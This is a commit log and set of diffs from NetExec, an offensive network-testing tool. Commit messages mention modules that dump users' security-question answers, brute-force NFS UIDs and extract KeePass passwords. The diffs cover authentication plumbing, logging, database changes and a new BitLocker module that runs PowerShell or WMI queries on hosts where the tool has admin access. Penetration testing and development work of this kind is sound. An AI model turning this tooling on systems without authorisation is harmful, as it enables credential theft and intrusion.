2024-06-18 11:13:05 -04:00
Adamkadaban 39b877a3f1 use context.log.fail instead of print and add debugging 2024-06-18 11:06:42 -04:00
Adamkadaban da61939a0d only import loads function from json. 2024-06-18 11:06:42 -04:00
Adamkadaban 3724142717 add security-questions module to e2e test 2024-06-18 11:06:42 -04:00
Adamkadaban 4919fe05fd add comments to security-questions module 2024-06-18 11:06:42 -04:00
Adamkadaban 6838793301 ruff checks for security-questions module. all passing now 2024-06-18 11:06:42 -04:00
Adamkadaban a579d2296a more verbose answer for when user has no questions
this can happen when json is `{"version":1,"questions":[]}`
2024-06-18 11:06:42 -04:00
Adamkadaban cc251e8b19 get rid of stray comment 2024-06-18 11:06:42 -04:00
Adamkadaban dcee201380 make this a high privilege module 2024-06-18 11:06:42 -04:00
Adamkadaban 39006b1fed add new security-questions module
this module will dump security questions and answers for all users on the machine assuming run as administrator

requires this PR to work: https://github.com/fortra/impacket/pull/1743
2024-06-18 11:06:42 -04:00
termanix ea5426b468 Update nfs.py
Bruteforce-UID added.

Kerberos auth left.

Signed-off-by: termanix <[email protected]>
2024-06-17 20:55:02 +03:00
termanix 8c2155cae5 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-17 11:42:52 +03:00
termanix 0b5bad9ba0 Update nfs.py
UID Brute Force added (To Do, Brute number will be taken by user)
disconnection debug bug fixed

To Do Kerberos Auth

Signed-off-by: termanix <[email protected]>
2024-06-17 11:42:35 +03:00
Alexander Neff c09304ef6c Autoformat 2024-06-14 20:39:04 -04:00
Alexander Neff 008c490f5b Reworked interface module to core functionality and fixed all its bugs 2024-06-14 20:38:29 -04:00
Alexander Neff 9d3bc4d071 Formating and ruff 2024-06-14 17:36:40 -04:00
Alex 3eaa1632c9 Merge branch 'main' into main 2024-06-14 16:46:48 -04:00
Alex 1af282888c Merge pull request #344 from n00py/main
Add EnumAV Detection for Cortex XDR
2024-06-14 16:15:20 -04:00
Alex f2311b308b Merge pull request #345 from Anhydrite/main
Added domain name for --users with samr
2024-06-13 19:33:25 -04:00
Marshall Hallenbeck 65fc94f8dd nfs: properly initialize table variables to None 2024-06-13 12:37:54 -04:00
Marshall Hallenbeck 7b37015b62 nfs: formatting, commenting, and small fixes 2024-06-13 11:14:17 -04:00
Marshall Hallenbeck 4c5844820f nfs(db): add LIR and shares table and reflection; rename conn to sess 2024-06-13 11:07:26 -04:00
Marshall Hallenbeck 27b52e2da4 deps: add pynfsclient 2024-06-13 11:02:20 -04:00
termanix d3c9d7258a Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-11 22:12:42 +03:00
Anhydrite d44ed75076 Merge branch 'Pennyw0rth:main' into main 2024-06-11 17:21:42 +02:00
Anhydrite 271268a092 added domain name for --users with samr 2024-06-11 17:21:07 +02:00
n00py cdffba942d Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:35:36 -06:00
n00py 15f29a9c4f Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:33:22 -06:00
n00py 08e3f17365 Update enum_av.py
Added signature for Cortex

Signed-off-by: n00py <[email protected]>
2024-06-11 08:31:33 -06:00
Alex e4ca4f9fef Merge pull request #343 from Anhydrite/main 2024-06-11 08:59:55 -04:00
Anhydrite 5f79c176ea PR Fixes: changed logger success to display & added len 2024-06-11 14:38:03 +02:00
Anhydrite 3e18d2f588 Just added prints 2024-06-11 11:48:09 +02:00
Alex c956dba3ab Merge pull request #340 from Pennyw0rth/neff-os-detection 2024-06-10 13:36:48 -04:00
Alexander Neff fbeab5fb5c Fingerprint Samba 2024-06-09 18:15:20 -04:00
termanix fbec1c7c31 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-09 15:34:10 +03:00
Marshall Hallenbeck 665f778dd0 Merge pull request #336 from Pennyw0rth/update_hash_tests
add testing hash file to e2e_commands.txt
2024-06-08 09:36:48 -04:00
Marshall Hallenbeck 791733853e add testing hash file to e2e_commands.txt 2024-06-07 21:16:51 -04:00
Alex eedbce83b6 Merge pull request #333 from Pennyw0rth/marshall-guest-login
Add output if a successful authentication is via Guest privileges
2024-06-07 19:58:11 +02:00
Alexander Neff 2bc18c5786 Fix Pwned spacing 2024-06-07 13:41:25 -04:00
termanix 71391b11de Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-07 10:26:58 +03:00
Marshall Hallenbeck e25988275a Merge pull request #334 from fpreynaud/main
[NXCDB] Add support for CTRL-D
2024-06-06 10:49:35 -04:00
François REYNAUD f3fb3d431f [NXCDB] Add support for CTRL-D 2024-06-06 12:15:42 +02:00
Marshall Hallenbeck 0983df94db fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-05 12:18:27 -04:00
Marshall Hallenbeck bd8620125c tests: add test hashes 2024-06-05 12:18:04 -04:00
Marshall Hallenbeck aa38c7a18a revert spacing for Admin/Guest output 2024-06-05 12:05:52 -04:00
Marshall Hallenbeck f1894b2c6b remove commited pyc files 2024-06-05 09:01:18 -04:00
Marshall Hallenbeck 3797ccf888 fix(ruff): E226 2024-06-05 08:37:44 -04:00
Marshall Hallenbeck cfe231a9a1 feat(smb): check if successful login is guest privs 2024-06-05 08:37:24 -04:00
termanix 9cf6d983e2 Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2024-06-04 12:26:15 +03:00
termanix fbfef1b4b0 Update e2e_commands.txt
Added NFS

Signed-off-by: termanix <[email protected]>
2024-06-04 12:24:01 +03:00
termanix 80839d850e New NFS Protocol
Signed-off-by: termanix <[email protected]>
2024-06-04 10:04:14 +03:00
Alex 67da598b11 Merge pull request #279 from sepauli/sepauli/fix-keepass_trigger
fix extract_password
2024-06-01 23:53:48 +02:00
Alexander Neff efa0b75c10 Fix linting 2024-06-01 17:47:07 -04:00
Alex 2fa3e83ae9 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-06-01 23:31:08 +02:00
Shad0wC0ntr0ller db3e7923fb Update pre2k.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:40:16 -04:00
Shad0wC0ntr0ller 56feb10348 Identify Pre-Created Computer Accounts
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:04:58 -04:00
sepauli 94e0ab62ea fix typo 2024-05-25 18:58:29 +02:00
sepauli 061ee498bf fix output for keepass2 2024-05-25 18:37:03 +02:00
Alex 7afb4afd35 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-05-19 23:40:10 +02:00
termanix 763cf57c18 Merge branch 'main' into New_Module_Bitlocker 2024-05-18 19:52:21 +03:00
termanix 610bad1bae Update bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 0aaad63819 Update bitlocker.py
Fixed smb error line.

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 406507e8de Update bitlocker.py
Updated according to the new powershell update.


Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 6c4e8ead5e Update e2e commands 2024-05-17 14:18:38 -05:00
termanix 5ff488eae5 Fixed ruff checks bitlocker.py
Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban c354978fa1 Update bitlocker.py
Fixed a bug, if bitlockervolume and namespace does not exist.

Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanixandAdamkadaban 50ed8279e1 Update bitlocker.py
Co-authored-by: Adamkadaban <[email protected]>

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix f55cbf6f23 Update bitlocker.py
Using WMI command

Signed-off-by: termanix <[email protected]>
2024-05-17 14:18:38 -05:00
termanix 219deaf073 BitLocker 2024-05-17 14:18:38 -05:00
jubeaz dffd862595 linting 2024-05-17 02:05:57 +02:00
jubeaz 46574d41f6 Merge branch 'Pennyw0rth:main' into module_wcc_add_defender 2024-05-16 21:22:27 +02:00
jubeaz 1c965cb5f1 Merge branch 'main' into module_wcc_add_defender 2024-05-15 03:30:38 +02:00
jubeaz 4815249c78 update Defender checks 2024-05-15 03:19:19 +02:00
jubeaz ae6b659749 Add Defender conf check 2024-05-14 02:31:20 +02:00
Sant0rryu 169a7dc148 Update interface.py
Fixed Ruff checks

Signed-off-by: Sant0rryu <[email protected]>
2024-05-12 16:30:25 +02:00
Sant0rryu 3deabf5787 Adding module to retrieve network interfaces info
Signed-off-by: Sant0rryu <[email protected]>
2024-05-07 17:17:14 +02:00
sepauli 4e0b44f6a6 fix extract_password 2024-04-27 22:29:55 +02:00
69 changed files with 4141 additions and 1948 deletions

No files matched your search

+2 -2
View File
@@ -13,9 +13,9 @@ jobs:
python-version: ["3.11"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
+2 -2
View File
@@ -12,9 +12,9 @@ jobs:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
+3 -2
View File
@@ -3,6 +3,7 @@ name: Lint Python code with ruff
on:
push:
workflow_dispatch:
jobs:
lint:
@@ -11,12 +12,12 @@ jobs:
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: 3.11
cache: poetry
+2 -2
View File
@@ -16,12 +16,12 @@ jobs:
os: [ubuntu-latest]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
+5
View File
@@ -43,6 +43,11 @@ sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
+2
View File
@@ -25,6 +25,7 @@ a = Analysis(
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
@@ -48,6 +49,7 @@ a = Analysis(
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
+3 -5
View File
@@ -22,12 +22,12 @@ def gen_cli_args():
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
CODENAME = "ItsAlwaysDNS"
COMMIT = "kali"
CODENAME = "NeedForSpeed"
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
@@ -70,8 +70,6 @@ def gen_cli_args():
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument("--version", action="store_true", help="Display nxc version")
# we do module arg parsing here so we can reference the module_list attribute below
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
@@ -83,7 +81,7 @@ def gen_cli_args():
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+31 -13
View File
@@ -85,6 +85,8 @@ def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
def requires_admin(func):
def _decorator(self, *args, **kwargs):
if self.admin_privs is False:
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
return func(self, *args, **kwargs)
return None
return func(self, *args, **kwargs)
@@ -132,7 +134,7 @@ class connection:
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
@@ -146,6 +148,7 @@ class connection:
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
# DNS resolution
dns_result = self.resolver(target)
@@ -154,7 +157,7 @@ class connection:
else:
return
if self.args.kerberos:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
@@ -164,6 +167,9 @@ class connection:
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
@@ -200,13 +206,16 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
def plaintext_login(self, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -228,6 +237,7 @@ class connection:
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -412,12 +422,22 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append("hash")
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
# Parse AES keys
if self.args.aesKey:
@@ -453,8 +473,6 @@ class connection:
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
@@ -469,7 +487,7 @@ class connection:
with sem:
if cred_type == "plaintext":
if self.args.kerberos:
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -482,7 +500,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.args.kerberos:
if self.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -531,7 +549,7 @@ class connection:
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
+73 -23
View File
@@ -1,18 +1,24 @@
import sys
import configparser
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def open_config(config_path):
@@ -45,24 +51,8 @@ def write_configfile(config, config_path):
config.write(configfile)
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
@@ -87,6 +77,27 @@ def create_workspace(workspace_name, p_loader=None):
conn.close()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
@@ -94,4 +105,43 @@ def delete_workspace(workspace_name):
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
+20 -16
View File
@@ -5,6 +5,7 @@ import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -21,20 +22,21 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
@@ -46,22 +48,24 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs):
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -71,7 +75,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -93,7 +97,7 @@ class NXCAdapter(logging.LoggerAdapter):
self.logger = logging.getLogger("nxc")
self.extra = extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
@@ -163,15 +167,16 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -179,7 +184,7 @@ class NXCAdapter(logging.LoggerAdapter):
open(output_file, "x") # noqa: SIM115
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
with file_handler._open() as f:
if file_creation:
@@ -193,16 +198,15 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
return os.path.join(
os.path.expanduser("~/.nxc"),
NXC_PATH,
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
+2 -1
View File
@@ -102,8 +102,9 @@ class NXCModule:
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
+131
View File
@@ -0,0 +1,131 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
